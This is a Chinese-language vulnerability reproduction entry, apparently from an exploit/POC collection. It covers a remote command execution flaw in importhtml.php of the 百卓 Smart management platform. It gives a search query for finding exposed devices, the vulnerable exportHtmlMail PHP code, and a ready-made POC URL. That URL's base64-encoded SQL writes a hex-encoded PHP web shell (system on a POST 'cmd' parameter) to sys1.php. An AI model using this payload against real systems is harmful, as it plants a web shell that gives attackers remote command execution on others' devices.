# 百卓 Smart importhtml.php 远程命令执行漏洞
## 漏洞描述
百卓 importhtml.php文件sql语句无过滤，通过Sql语句可远程命令执行
## 漏洞影响
百卓 Smart
## 网络测绘
title="Smart管理平台"
## 漏洞复现
登录页面
出现漏洞的文件 `importhtml.php`
```php
```
跟踪exportHtmlMail函数
```php
function exportHtmlMail($filename,$sql){
Header( "Expires: 0" );
Header( "Pragma: public" );
Header( "Cache-Control: must-revalidate, post-check=0, pre-check=0" );
Header( "Cache-Control: public");
Header( "Content-Type: application/octet-stream" );
header("Accept-Ranges: bytes");
header("Content-Disposition: attachment; filename=$filename.html");
echo "\n";
echo "报表\n";
echo "\n";
$conn = connOther();
$result = mysql_query($sql,$conn);
while ($data= mysql_fetch_array($result)){
$post_content = "";
if($data['mail_file_path'] == "(null)"){
$post_content = "内容审计未启用";
}
else{
$post_filename=$data['mail_file_path'];
$ifother = "";
$ifother = ifExistOther($post_filename);
if($ifother!=""){
$post_filename = $ifother;
}
$str = "/usr/bin/cap2con $post_filename pop";
system($str,$returnvalue);
$post_filename=str_replace(".cap",".eml",$post_filename);
$post_content = file_get_contents($post_filename);
$rec=new mime_decode;
$post_content=$rec->decode_mime_string($post_content);
//...
}
}
}
```
这里可以发现通过base64解码后执行的Sql语句结果传入函数exportHtmlMail中调用system执行, 而 $post_filename 可控
```php
$str = "/usr/bin/cap2con $post_filename pop";
```
验证POC
```plain
https://xxx.xxx.xxx.xxx/importhtml.php?type=exporthtmlmail&tab=tb_RCtrlLog&sql=c2VsZWN0IDB4M2MzZjcwNjg3MDIwNjU2MzY4NmYyMDczNzk3Mzc0NjU2ZDI4MjQ1ZjUwNGY1MzU0NWIyMjYzNmQ2NDIyNWQyOTNiM2YzZSBpbnRvIG91dGZpbGUgJy91c3IvaGRkb2NzL25zZy9hcHAvc3lzMS5waHAn
```
访问成功后会触发下载日志文件，再访问 sys1.php
